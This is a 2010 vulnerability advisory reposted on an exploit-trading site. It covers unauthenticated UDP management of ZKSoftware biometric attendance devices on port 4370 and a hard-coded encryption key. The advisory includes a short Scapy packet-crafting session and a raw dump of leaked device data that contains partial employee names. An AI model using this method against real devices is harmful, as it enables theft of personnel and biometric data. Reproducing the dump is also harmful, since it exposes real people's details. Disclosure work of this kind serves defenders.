0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ZKSoftware Biometric Attendence managnmnet Hardware [MIPS] Vuln
[=================================================================================
ZKSoftware Biometric Attendence managnmnet Hardware[MIPS] Improper Authentication
=================================================================================
# Exploit Title: ZKSoftware Biometric Attendence managnmnet Hardware[MIPS] Improper Authentication.
# Date: 20-3-2010
# Author: FB1H2S
# Software Link: http://www.esslindia.com/install/eTimeTrack.zip
# Version: V2
# Tested on:
# category: Remote
# Code : Advisory
###################################################################################
ZKSoftware Biometric Attendence managnmnet Hardware[MIPS] Improper Authentication.
1) ZKSoftware is biometric System which uses Biometric (Fingerprints) to authenticate and manage employee details,and to organise the attendance register.
This system is widely used in many countries, but is marketed by different company depending on the country.
ZKsoftwares IP-based attendance managnment system with the following series "ZK5000-ZK9000", the system allows remote IP based mangnmnet of the hardware via UDP protocol,
but with out any proper authentication.
You could custom create commands and send to UDP port 4370 of the hardwrae and download information from the system, alternatively u could download a copy of there
remote hardware management software from one of there vendors web site and use it steel data from the hardware.
Essl is the company which markets this product in India, and its website provides a free download of the management software.
2) Etimetrack software which is used to manage hardware market by ESSL uses an encryption and the encryption key is hard coded in the program.
Exploiting the issue Using Scapy
Response from a coustom made scapy packets:-
#####################################################################################################
fb1h2s@fb1h2s:~$ sudo scapy
[sudo] password for adminuser:
/var/lib/python-support/python2.5/scapy.py:3118: Warning: 'with' will become a reserved keyword in Python 2.6
/var/lib/python-support/python2.5/scapy.py:3120: Warning: 'with' will become a reserved keyword in Python 2.6
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump()
Welcome to Scapy (v1.1.1 / -)
>>>ip=IP("192.168.*.*)
>>>udp=UDP(sport=4371,dport=4370)
>>>payload="Coustomcommands"
>>packet=ip/udp/payload
>>> sniff
<function sniff at 0x9f0333c>
>>sr1(packet)
Begin emission:
Finished to send 1 packets.
You could possibly get any thing you want from the system
BINGO :D
I am including a dump of the UDP communication with the hardware, and the data leakage as a reason of improper authentication.
...........Q[...L.WU[.....f.[...Ver 6.21 Sep 4 2008.....[...~OS.....[...~OS=1...hv[...~ExtendFmt...f>[...~ExtendFmt=0...jW[...ExtendOPLog.....[...ExtendOPLog=...X.[...~Platform.....[...~Platform=ZEM500.E..Y[...H....Q[...... .[...WorkCode....r[...WorkCode=0....E[.................F[..............3....D[..............@[.............U.........d......
MMr.K.Sug........d...e......MMr. Sant.)......e...f......MMrs. Anu/@......f...g......MMr. Kris@@......g...h......MMr. Domian......h...i......MMrs. Sho`n......i...j......MMr. B. S~)......j...k......MMs. Bhag_n......k...l......MMs. NishYn......l...m......MMr. Moha.)......m...n......
MMr. ChanXn......n...o......MMrs. Ruk^n......o...p......MMr. Prad.g......p...q......MMr. Kuma\n......q...r......MMr. Dhan[n......r...s......MMr. NirmZn......s...t......MMs. Lali1@......t...u......MMs. Nave.)......u...v......MMs. Sudh.)......v...w......
MMs. Anit2@......w...x......MMs. Poon3@......x...y......MMrs. Gee=@......y...z......MMs. Vidh<@......z...{......MMrs. BanB@......{...|......MMrs. Man]n......|...}......MMr.G.ThiWn......}...~......MMs. Indi........~..........MMrs. Jot...................MMrs. Kav...................
MMr. Thiy...................MMr. Prak.8.................MMs. Love.8.................MMr. Sund.8.................MMr. Kart.8.................MMs. Koma.8.................MMr. Prad.8.................MMr. ........MaheB`.................MMr. RajkC`.................MMr. NataD`.................MMr. ManoE`.................MMr. Varu<`.................
MMr. Than@`.................MMr. Rich=`.................MMr. Prak>`.................MMrs.A.Us?`.................MMrs.B.KaA`.................MMs. Banu._.................MMr. Stal.@.................MMr. Chan.@.................MMr. DhanQn.................MMr. MukiRn.................MMrs. Satcn.................MMs. Gomabn.................MMr. Ramadn.................
MMrs. Geeen.................
Trimmed....
Current vulnerability is checked and verified with zk5000 hardware model, possibly all other versions would be vulnerable.
#####################################################################################################
# Greetz to all Darkc0de, Andhra Hackers and ICW Memebers[Indian Cyber Wrriors]
#Thanks : Mr bond,beenu,Wipu,GOdwinAustin,The_empty,hg_H@x0r,r45c4l,it_security,eberly,harin,manoj
#Shoutz : SMART_HAX0R,j4ckh4x0r,41w@r10r,Hackuin
#Catch us at www.andhrahackers.com or www.teamicw.in
# 0day.today [2024-11-16] #